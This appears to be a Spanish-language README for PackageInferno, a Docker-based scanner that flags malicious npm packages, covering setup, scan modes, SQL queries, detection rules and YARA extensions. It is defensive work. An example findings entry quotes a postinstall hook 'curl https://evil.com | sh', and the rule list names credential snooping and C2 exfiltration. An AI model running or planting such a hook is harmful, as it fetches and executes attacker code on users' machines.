
Un escáner público de paquetes para la comunidad.
Increíblemente simple, escáner de cadena de suministro npm que prioriza Docker. Un solo archivo compose ejecuta:
Esta es la edición solo para contenedores. El proyecto se puede construir para escalar usando EC2, SQS y RDS. La mayor parte está configurada para ello en el conjunto de herramientas.
scan.yml (listas blancas, umbrales, YARA)scan_runs) listo para usar~/.aws)docker-compose.yml – servicios: db, enumerador, descargador, analizador, panel, init-dbenumerator/ – trabajador Node que construye la cola NDJSONfetcher/ – trabajador Node que descarga tarballs (+ subida a S3 si está habilitado)analyzer/ – analizador estático Python (+ YARA integrado opcional)dashboard/ – aplicación Streamlit (puerto 8501)infra/migrations.sql – esquema principal de la BD (paquetes, versiones, hallazgos, puntuaciones, índices)infra/20251106_scan_runs.sql – tabla de historial de escaneosscan.yml – configuración de análisis (reglas, puntuación, listas blancas, YARA)scripts/run_pipeline.sh – ejecuta enumerar → descargar → analizarscripts/init_db.sh – inicializa el esquema de la BDscripts/test_setup.sh – validación automatizada de la instalaciónRequisitos: Docker Desktop (o motor) con Compose v2.
curl -fsSL https://raw.githubusercontent.com/MHaggis/Package-Inferno/main/install.sh | bash
Esto clona el repositorio en ~/package-inferno y te da instrucciones para empezar.
Descarga y ejecuta contenedores preconstruidos desde GitHub Container Registry:
# Clona el repositorio (para archivos de configuración y scripts)
git clone https://github.com/MHaggis/Package-Inferno.git
cd Package-Inferno
# Ejecuta con imágenes preconstruidas
docker compose -f docker-compose.ghcr.yml up -d db
./scripts/init_db.sh
SEEDS="lodash,express" docker compose -f docker-compose.ghcr.yml run --rm enumerator
docker compose -f docker-compose.ghcr.yml run --rm fetcher
docker compose -f docker-compose.ghcr.yml run --rm analyzer
Imágenes disponibles:
ghcr.io/mhaggis/package-inferno/enumerator:mainghcr.io/mhaggis/package-inferno/fetcher:mainghcr.io/mhaggis/package-inferno/analyzer:mainEjecuta el script de prueba para validar tu instalación:
./scripts/test_setup.sh
Esto hará:
docker compose up -d db
./scripts/init_db.sh
./scripts/run_pipeline.sh
docker compose up -d dashboard
# abre http://localhost:8501
Los hallazgos se guardan en ./out/findings/*.findings.json y en la tabla findings cuando la BD está habilitada.
PackageInferno admite múltiples estrategias de escaneo según tus objetivos:
Define los paquetes que deseas analizar:
# Comando único con semillas
export SEEDS="lodash,express,axios"
./scripts/run_pipeline.sh
# O desde un archivo
echo -e "react\nvue\nangular" > packages.txt
export SEEDS_FILE=packages.txt
./scripts/run_pipeline.sh
Cómo probé inicialmente: Usé SEEDS="is-odd,is-even" para validación rápida.
Escanea paquetes paginados desde el registro de npm:
# Limpiar ejecuciones anteriores
rm -rf downloads/* out/*
# Escanear 2 páginas de 10 paquetes cada una (20 paquetes)
export MAX_CHUNKS=2 # Número de páginas
export CHUNK_LIMIT=10 # Paquetes por página
unset SEEDS # Importante: deshabilitar modo de semillas
# Ejecutar pasos individuales para mejor visibilidad
docker compose run --rm enumerator # Descubre y encola
docker compose run --rm fetcher # Descarga tarballs
docker compose run --rm analyzer # Escanea amenazas
Ejemplo de salida:
config: chunkLimit=10, maxChunks=2
checking recent changes feed...
changes feed: enqueued 2 new versions
enumerating via _all_docs (fresh scan)
page 1/2 count: 10
page 2/2 count: 10
done, enqueued 22 (22 new versions)
Escanea todo el registro de npm:
export MAX_CHUNKS=0 # 0 = ilimitado
export CHUNK_LIMIT=100 # Lotes más grandes para eficiencia
./scripts/run_pipeline.sh
Advertencia: Esto se ejecutará durante horas/días y escaneará cientos de miles de paquetes. Monitorea el espacio en disco y el tamaño de la base de datos.
El enumerador guarda el estado en ./out/enumerator_state.json con la posición del cursor:
{
"last_seq": "0",
"last_startkey": "package-name",
"last_run": "2025-11-23T19:24:49.123Z",
"last_processed": 22,
"last_new": 22
}
Simplemente vuelve a ejecutar el pipeline y se reanudará desde el último cursor:
./scripts/run_pipeline.sh # Se reanuda automáticamente
Para forzar un escaneo nuevo:
rm -f out/enumerator_state.json
./scripts/run_pipeline.sh
De un escaneo de 2 páginas de 22 paquetes, esto es lo que detectó PackageInferno:
-- Paquetes más sospechosos por puntuación
SELECT p.name, s.score, s.label, COUNT(f.id) as findings
FROM packages p
JOIN versions v ON p.id = v.package_id
JOIN scores s ON v.id = s.version_id
LEFT JOIN findings f ON v.id = f.version_id
GROUP BY p.name, s.score, s.label
ORDER BY s.score DESC;
-- Resultados:
name | score | label | findings
-----------------------+-------+------------+----------
rendition | 606 | malicious | 153
vs-deploy | 454 | malicious | 119
--123hoodmane-pyodide | 213 | malicious | 46
¿Qué hizo que rendition fuera tan sospechoso?
url_outside_allowlist - Dominios no permitidossuspicious_pattern - Patrones de shell/evaladvanced_obfuscation - Codificación hex, XOR, arreglos de cadenasbig_base64_blob - Cargas útiles grandes codificadas en base64url_in_code - URLs incrustadasEl sistema de puntuación (configurado en scan.yml) agrega estos hallazgos para producir una puntuación de riesgo y una etiqueta (clean, suspicious o malicious).
Abre http://localhost:8501 después de ejecutar docker compose up -d dashboard
Características:
Acceso SQL directo para análisis personalizados:
# Conectar a la base de datos
docker exec -it pi-postgres psql -U piuser -d packageinferno
Consultas útiles:
-- Paquetes con intentos de robo de credenciales
SELECT DISTINCT p.name, v.version, s.score
FROM packages p
JOIN versions v ON p.id = v.package_id
JOIN findings f ON v.id = f.version_id
JOIN scores s ON v.id = s.version_id
WHERE f.rule = 'env_snoop'
ORDER BY s.score DESC;
-- Todos los destinos C2/webhook encontrados
SELECT p.name, f.details->>'endpoints' as c2_endpoints
FROM packages p
JOIN versions v ON p.id = v.package_id
JOIN findings f ON v.id = f.version_id
WHERE f.rule = 'c2_webhook';
-- Intentos de typosquatting
SELECT
p.name,
f.details->>'target_package' as impersonating,
f.details->>'similarity' as similarity_pct,
f.details->>'typosquat_type' as attack_type
FROM packages p
JOIN versions v ON p.id = v.package_id
JOIN findings f ON v.id = f.version_id
WHERE f.rule = 'typosquat_detected'
ORDER BY (f.details->>'similarity')::float DESC;
-- Paquetes con binarios nativos
SELECT p.name, f.details->>'path' as binary_path
FROM packages p
JOIN versions v ON p.id = v.package_id
JOIN findings f ON v.id = f.version_id
WHERE f.rule = 'native_binary_present';
Los hallazgos también se guardan como JSON estructurado en ./out/findings/:
# Ver hallazgos de un paquete específico
cat out/findings/[email protected] | jq .
# Contar hallazgos por gravedad
jq -r '.findings[].severity' out/findings/*.findings.json | sort | uniq -c
# Extraer todas las URLs C2 encontradas
jq -r '.findings[] | select(.rule=="c2_webhook") | .details.full_urls[]' out/findings/*.findings.json
Si deseas artefactos en S3:
package-inferno-tarballs (tarballs npm sin procesar)package-inferno-findings (salidas del analizador)~/.aws contenga credenciales válidas (basadas en perfil o entorno).export AWS_REGION=us-west-2
export S3_TARBALLS=package-inferno-tarballs
export S3_FINDINGS=package-inferno-findings
export AWS_PROFILE=default # opcional; o confía en las credenciales de entorno
El compose monta ~/.aws en el descargador y el analizador. Si LOCAL_ONLY=false, el descargador sube tarballs a S3_TARBALLS. Si S3_FINDINGS está configurado, el analizador sube el JSON de hallazgos después de escribirlos localmente.
Ejemplo de política IAM mínima (adjuntar al usuario/rol que estés usando):
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "S3Access",
"Effect": "Allow",
"Action": ["s3:PutObject","s3:GetObject","s3:ListBucket"],
"Resource": [
"arn:aws:s3:::package-inferno-tarballs",
"arn:aws:s3:::package-inferno-tarballs/*",
"arn:aws:s3:::package-inferno-findings",
"arn:aws:s3:::package-inferno-findings/*"
]
}
]
}
Los controles principales están en scan.yml. Aspectos destacados:
analysis.allow_domains – dominios que no generarán "outside allowlist"analysis.allowlist.build_tools – expresiones regulares para pasos de compilación benignosanalysis.yara.* – habilitar YARA integrado (activado por defecto), ruta de reglas, límites de tamaño/tiemposcoring.rule_weights y scoring.thresholds – ajustar "suspicious/malicious"Variables de entorno de contenedores que puedes configurar:
DAYS (predeterminado 30), CHUNK_LIMIT (predeterminado 100), MAX_CHUNKS (predeterminado 5)SEEDS, SEEDS_FILE – nombres de paquetes semillaLOCAL_ONLY=true (cola a archivo), DB_URL para deduplicación contra la BDLOCAL_ONLY=false para subir tarballs a S3S3_TARBALLS, AWS_REGION, AWS_PROFILEMAX_EXTRACT_BYTES=0 para extracción ilimitadaS3_FINDINGS, La URL de la BD está preconfigurada para el compose local:
postgres://piuser:pipass@db:5432/packageinferno
./out/fetch_queue.ndjson (y puede insertar/actualizar versiones "en cola" en la BD)../downloads y los sube a S3 si está configurado../out/findings. Si la BD está configurada, inserta/actualiza hallazgos y puntuaciones.enumerator/src/enumerator.js)Propósito: Descubre paquetes npm para escanear y construye la cola de trabajo.
Lo que hace:
SEEDS o SEEDS_FILE_changes para actualizaciones recientes_all_docs (con cursor reanudable)./out/fetch_queue.ndjson o SQSVariables de entorno clave:
SEEDS="pkg1,pkg2" - Nombres de paquetes separados por coma para escanearSEEDS_FILE - Ruta a un archivo de texto con un paquete por líneaMAX_CHUNKS=5 - Limitar paginación (0 = ilimitado)CHUNK_LIMIT=100 - Paquetes por página de APIDB_URL - Conexión Postgres para deduplicaciónEjemplo de uso:
# Escanear paquetes específicos
export SEEDS="lodash,express,axios"
docker compose run --rm enumerator
# Escanear desde archivo
echo -e "react\nvue\nangular" > packages.txt
export SEEDS_FILE=packages.txt
docker compose run --rm enumerator
fetcher/src/fetcher.js)Propósito: Descarga tarballs npm desde el registro.
Lo que hace:
./out/fetch_queue.ndjson (o SQS)./downloads/ como [email protected]S3_TARBALLS)Variables de entorno clave:
LOCAL_ONLY=true - Omitir subidas a S3 (modo solo local)S3_TARBALLS - Nombre del bucket S3 para almacenamiento de tarballsDOWNLOAD_DIR=./downloads - Directorio de salida localMAX_RETRIES=5 - Intentos de reintento HTTPFormato de clave S3: npm-raw-tarballs/{name}/{version}.tgz
analyzer/src/analyzer.py)Propósito: Motor de análisis estático que detecta patrones maliciosos en paquetes.
Lo que hace:
package.json para metadatos y hooks de ciclo de vidascan.yml./out/findings/ y lo inserta/actualiza en la BDReglas de detección (consulta analyzer/src/analyzer.py para la lista completa):
lifecycle_script - Hooks de instalación/postinstall riesgososurl_outside_allowlist - Llamadas de red a dominios no permitidosc2_webhook - Endpoints de exfiltración conocidos (Discord, Slack, Telegram)env_snoop - Acceso a claves AWS, tokens, contraseñaswrites_outside_pkg - Escrituras en .ssh, .npmrc, directorios del sistematyposquat_detected - Nombre de paquete similar a paquetes popularesadvanced_obfuscation - Hex, XOR, arreglos de cadenas, aplanamiento de flujo de controlyara_match - Coincidencias con reglas YARA (malware, exploits, webshells)phishing_form - Formularios de recolección de credencialesnative_binary_present - Ejecutables PE/ELF/Mach-OVariables de entorno clave:
MAX_EXTRACT_BYTES=0 - Límite de tamaño de extracción (0 = ilimitado)SCAN_YML=/app/scan.yml - Ruta al archivo de configuraciónDB_URL - Conexión Postgres para almacenamiento de hallazgosS3_FINDINGS - Bucket S3 para subida de hallazgosFormato de salida (*.findings.json):
{
"tgz": "/downloads/[email protected]",
"findings": [
{
"rule": "lifecycle_script",
"severity": "high",
"details": {
"key": "postinstall",
"value": "curl https://evil.com | sh",
"tags": ["shell_spawn", "downloader"],
"explanation": "Hook postinstall de alto riesgo: shell_spawn, downloader"
}
}
]
}
1. Detección basada en patrones (añadir en analyzer/src/analyzer.py):
# Definir patrón regex
CUSTOM_PATTERN_RE = re.compile(rb'dangerous-function\s*\(', re.I)
# Añadir a la función analyze_file_bytes()
def analyze_file_bytes(path: Path, b: bytes, allow_domains: list[str]):
# ... código existente ...
# Tu comprobación personalizada
if CUSTOM_PATTERN_RE.search(b):
out.append({
'rule': 'custom_dangerous_function',
'severity': 'high',
'details': {
'path': str(path),
'explanation': 'Detectada llamada a dangerous-function'
}
})
return out
2. Añadir pesos de puntuación (scan.yml):
scoring:
rule_weights:
custom_dangerous_function: 6 # Tu nueva regla
# ... reglas existentes ...
thresholds:
suspicious: 7
malicious: 12
3. Actualizar la función de puntuación (analyzer/src/analyzer.py):
def score_findings(findings, scoring):
weights = scoring.get('rule_weights', {})
score = 0
for f in findings:
rule = f['rule']
w = 0
# ... reglas existentes ...
elif rule == 'custom_dangerous_function':
w = weights.get('custom_dangerous_function', 6)
score += int(w)
# ... resto de la función ...
1. Crear archivo de reglas personalizadas (yara-rules/custom.yar):
rule CustomMalware {
meta:
description = "Detecta patrón de amenaza personalizado"
severity = "high"
strings:
$s1 = "malicious_string" ascii
$s2 = /evil_regex_[0-9]{4}/
condition:
any of them
}
2. Actualizar scan.yml:
analysis:
yara:
enabled: true
rules_path: yara-rules/custom.yar # Apunta a tus reglas
max_file_size_mb: 10
timeout_seconds: 30
3. Montar reglas personalizadas en docker-compose.yml:
analyzer:
volumes:
- ./yara-rules:/app/yara-rules:ro
Añade dominios de confianza a scan.yml para reducir falsos positivos:
analysis:
allow_domains:
- registry.npmjs.org
- github.com
- your-cdn.com # Añade tu dominio
Lista blanca de comandos de compilación legítimos:
analysis:
allowlist:
build_tools:
- \bmy-custom-build-tool\b
- \bmake\s+clean\b
docker compose up -d db esté ejecutándose, luego vuelve a ejecutar ./scripts/init_db.sh.~/.aws/credentials, AWS_REGION y la política/permisos del bucket.scan.yml (analysis.yara.enabled: false).CHUNK_LIMIT o aumentar MAX_CHUNKS gradualmente.SCANNING_GUIDE.md – estrategias de escaneo detalladas y ejemplos| Modo | Caso de uso | Velocidad | Cobertura | Comando |
|---|
| Semillas específicas | Probar/investigar paquetes conocidos | Más rápida | Dirigida | SEEDS="pkg1,pkg2" |
| Lote pequeño | Validar configuración, escaneo de muestra | Rápida | 10-100 paq. | MAX_CHUNKS=2 CHUNK_LIMIT=10 |
| Registro completo | Auditoría integral de cadena de suministro | Horas-Días | 2M+ paq. | MAX_CHUNKS=0 CHUNK_LIMIT=100 |
| Feed de cambios | Monitorear nuevas versiones (incluido automáticamente) | Tiempo real | Actualizaciones recientes | Integrado |
AWS_REGIONDB_URL para escribir hallazgos y puntuaciones en Postgres